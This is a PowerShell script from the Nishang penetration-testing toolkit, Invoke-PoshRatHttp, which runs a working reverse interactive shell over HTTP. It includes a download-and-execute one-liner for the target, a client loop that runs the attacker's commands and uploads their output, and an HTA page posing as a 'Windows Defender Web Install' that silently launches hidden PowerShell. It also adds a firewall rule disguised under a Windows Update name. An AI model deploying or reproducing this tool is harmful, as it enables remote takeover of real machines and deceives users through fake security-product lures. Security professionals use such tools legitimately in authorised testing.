function Invoke-PoshRatHttp
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse interactive PowerShell from a target over HTTP.

.DESCRIPTION
This script starts a listener on the attacker's machine. The listener needs a port to listen.

On the target machine execute the below command from PowerShell:
iex (New-Object Net.WebClient).DownloadString("http://ListenerIPAddress/connect")

or trick a user in connecting to: http://ListenerIPAddress/WindowsDefender.hta

The listener opens incoming traffic on the specified port by the name of "Windows Update HTTP". The listener needs to be run from
an elevated PowerShell session.

The script has been originally written by Casey Smith (@subTee)

.PARAMETER IPAddress
The IP address on which the listener listens. Make sure that the IP address specified here is reachable from the target.

.PARAMETER Port
The port on which the connection is establised. 

.EXAMPLE
PS > Invoke-PoshRatHttp -IPAddress 192.168.254.1 -Port 80

Above shows an example where the listener starts on port 80. On the client execute:
iex (New-Object Net.WebClient).DownloadString("http://192.168.254.1/connect")

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-3.html
https://github.com/subTee/PoshRat
https://github.com/samratashok/nishang
#>     
    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true)]
        [Int]
        $Port
    )

    function Receive-Request 
    {
       param(      
          $Request
       )
       $output = ""
       $size = $Request.ContentLength64 + 1   
       $buffer = New-Object byte[] $size
       do 
       {
          $count = $Request.InputStream.Read($buffer, 0, $size)
          $output += $Request.ContentEncoding.GetString($buffer, 0, $count)
       } until($count -lt $size)
       $Request.InputStream.Close()
       write-host $output
    }
    try
    {
        $listener = New-Object System.Net.HttpListener
        $listener.Prefixes.Add("http://+:$Port/")

        #Create Firewall Rules
        netsh advfirewall firewall delete rule name="WindowsUpdate HTTP" | Out-Null
        netsh advfirewall firewall add rule name="WindowsUpdate HTTP" dir=in action=allow protocol=TCP localport=$Port | Out-Null

        $listener.Start()
        Write-Output "Listening on $IPAddress`:$Port"
        Write-Output "Run the following command on the target:"
        Write-Output "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://$IPAddress`:$Port/connect'))"

        while ($true) 
        {
            $context = $listener.GetContext() # blocks until request is received
            $request = $context.Request
            $response = $context.Response
	        $hostip = $request.RemoteEndPoint
	        #Use this for One-Liner Start
	        if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) 
            {  

            $message = "
		            			
                            `$s = `"http://$IPAddress`:$Port/rat`"
					        `$w = New-Object Net.WebClient 
					        while(`$true)
					        {
					        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
					        `$r = `$w.DownloadString(`$s)
					        while(`$r) {
						        `$o = invoke-expression `$r | out-string 
						        `$w.UploadString(`$s, `$o)	
						        break
					        }
					        }
		        "
            }		 
	
	        if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") )
            { 
		        Receive-Request($request)	
	        }
            if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) 
            {  
                $response.ContentType = 'text/plain'
                $message = Read-Host "PS $hostip>"		
                #If the Server/Attacker uses the exit command. Close the client part and the server.
                if ($message -eq "exit")
                {
                    [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
                    $response.ContentLength64 = $buffer.length
                    $output = $response.OutputStream
                    $output.Write($buffer, 0, $buffer.length)
                    $output.Close()
                    $listener.Stop()
                    break
                }
            }
            if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) 
            {
		        $enc = [system.Text.Encoding]::UTF8
		        $response.ContentType = 'application/hta'
		        $Htacode = @"
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
                <html xmlns="http://www.w3.org/1999/xhtml">
                <head>
                <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
                <title>Windows Defender Web Install</title>
                <SCRIPT Language="VBScript">
                Sub Initialize()
                Set oShell = CreateObject("WScript.Shell")
                ps = "powershell.exe -ExecutionPolicy Bypass -noprofile -c IEX ((new-object net.webclient).downloadstring('http://$IPAddress`:$Port/connect'))"
                oShell.run(ps),0,true
                End Sub
                </script>
                <hta:application
                   id="oHTA"
                   applicationname="Windows Defender Web Install"
                   application="yes"
                >
                </hta:application>
                </head>

                </SCRIPT>
                <div> 
                <body onload="Initialize()">
                <object type="text/html" data="http://windows.microsoft.com/en-IN/windows7/products/features/windows-defender" width="100%" height="100%">
                </object></div>   
                </body>
                </html>
"@
		        $buffer = $enc.GetBytes($htacode)		
		        $response.ContentLength64 = $buffer.length
		        $output = $response.OutputStream
		        $output.Write($buffer, 0, $buffer.length)
		        $output.Close()
		        continue
	        }

            [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
            $response.ContentLength64 = $buffer.length
            $output = $response.OutputStream
            $output.Write($buffer, 0, $buffer.length)
            $output.Close()
        }

        $listener.Stop()
    }
    catch
    {
        Write-Warning "Something went wrong! Check if client could reach the server and using the correct port." 
        Write-Error $_
    }
}
